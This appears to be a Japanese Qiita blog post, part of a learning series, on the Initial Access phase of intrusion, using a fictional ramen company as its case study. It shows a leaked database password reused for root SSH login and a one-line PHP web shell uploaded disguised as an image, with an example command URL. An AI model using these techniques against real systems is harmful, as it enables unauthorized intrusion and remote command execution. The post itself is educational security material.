27
15

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

ハッカー視点で語る「Initial Access(初期侵入)」 〜 派手なExploitより、地味なパスワードが最強 〜

Last updated at Posted at 2026-01-13

本記事の内容は、セキュリティの仕組みを理解するための学習・研究を目的としています。 許可のない第三者のシステムへの攻撃や侵入行為は、法律で固く禁止されています。 検証を行う際は、必ずご自身が管理する環境、または許可を得た環境内でのみ実施してください。 本記事の情報を利用して生じた一切のトラブル・損害に対し、筆者は責任を負いかねます。

前記事のリンクはこちら
https://qiita.com/tkmiii_GiGOOO/items/a666f74f20e467d44257

はじめに:「攻撃」の本当の意味

前回は「ハッキングの9割は情報収集(Enumeration)で決まる」という話をしました。
今回は、その集めた情報を武器に変えて、実際にシステム内部へ足を踏み入れる Initial Access(初期侵入) のステップです。

ここでも、映画と現実は違います。
プロのハッカーにとって、最高の攻撃とは攻撃に見えない攻撃です。


必殺技(Exploit)は「最終手段」にとっておく

初心者はすぐに「バッファオーバーフロー」や「リモートコード実行(RCE)」といった、派手な脆弱性攻撃(Exploit)を使いたがります。
しかし、プロはそれを嫌がります。なぜなら:

  1. 不安定だから(サーバーをクラッシュさせるリスクがある)
  2. 目立つから(IDS/IPSで即検知される)
  3. 一度しか使えないことが多いから

では、プロは何を使うのか?
答えは、Enumerationで見つけた「正規の機能」や「設定の不備」です。

「鍵が落ちているなら、ドアを壊す必要はない。」ですよね?


ケーススタディ:ラーメン大好き株式会社 への侵入

前回の架空企業「ラーメン大好き株式会社」の続きを見てみましょう。
Enumerationフェーズで、私たちは /dev/ ディレクトリから backup.zip を発見しました。

1. 点と点をつなぐ(Connect the Dots)

backup.zip を解凍すると、中から config.php が出てきました。中身を見ます。

<?php
$db_host = "localhost";
$db_user = "root";
$db_pass = "GiguR0ck$2025!"; // ← ビンゴ!
$db_name = "prod_db";
?>

ここで「よし、DBに接続だ!」と考えるのは普通です。
しかし、ハッカーはパスワードの使い回しを疑います。

2. 最も静かな攻撃「Credential Stuffing」

管理者は往々にして、DBのルートパスワードと、サーバーのSSHログインパスワードを同じにしてしまうものです。

プロは、手に入れたパスワードを使って、正規のルートである SSH(22番ポート) を試します。

$ ssh root@10.10.10.55
Password: GiguR0ck$2025!

もしこれで入れたら、アラートは鳴りません。「正規のユーザーがログインしただけ」に見えるからです。
これが、最もエレガントな初期侵入です。


もしパスワードがダメなら? 〜 WebShellへの道 〜

もしSSHがダメだった場合、次はWebアプリケーションの脆弱性を突きます。
ここでのゴールは、サーバー上で自分の命令を聞いてくれるプログラム Web Shell を配置することです。

  1. 管理画面へのログインを試みる(さっきのパスワードで!)
  2. 「プロフィール画像アップロード機能」を探す
  3. 画像(.jpg)のフリをして、中身がPHPプログラムであるファイルをアップロードする
<!-- shell.php -->
<?php system($_GET['cmd']); ?>

これが成功すれば、ブラウザから http://target/uploads/shell.php?cmd=whoami とアクセスするだけで、サーバー内部のコマンドが実行できます。


ADHD気質 × 侵入フェーズの「落とし穴」と対策

このフェーズ、ADHDタイプの人には一つ大きな罠があります。
それはうまくいかないと、すぐ飽きること。

「パスワードも通らない、アップロードも弾かれる…もう無理だ!」となりがちです。
そこで、プロがやっている「トラブルシューティング・ループ」を紹介します。

「なぜ動かない?」を分解する

感覚でトライ&エラーを繰り返すのではなく、原因をリスト化して潰します。

  • Layer 1 (Network): 自分のIPアドレスは正しいか? VPNは切れてないか?
  • Layer 2 (Syntax): コマンドのスペルミスはないか? python ではなく python3 が必要か?
  • Layer 3 (Filter): ファイアウォールに弾かれているか? ポートを変えてみたか(443番など)?

行き詰まったら、「感情」をオフにして「チェックリスト」をオンにする
これが、ADHDのハッカーが冷静さを保つ秘訣です。


侵入成功! でも、それで終わりじゃない

運良くサーバー内部に入れたとします。画面にはこんな表示が出ているはずです。

www-data@lamen-server:/var/www/html$ 

これは「Webサーバーの権限(一般ユーザー以下)」です。まだ管理者(root)ではありません。
ここからが、ハッカーの真骨頂である 「権限昇格(Privilege Escalation)」 の始まりです。

侵入はゴールではありません。冒険のスタート地点に立っただけなのです。


おわりに:今日の教訓

  1. 派手なExploitコードより、落ちているパスワードを使え。
  2. 管理者の「使い回し癖」を疑え。
  3. うまくいかない時は、感情ではなく「レイヤー」で考えろ。

次回は、手に入れた一般ユーザー権限から、システムの全権を掌握する「権限昇格」の世界へご案内します。

27
15
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
27
15

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?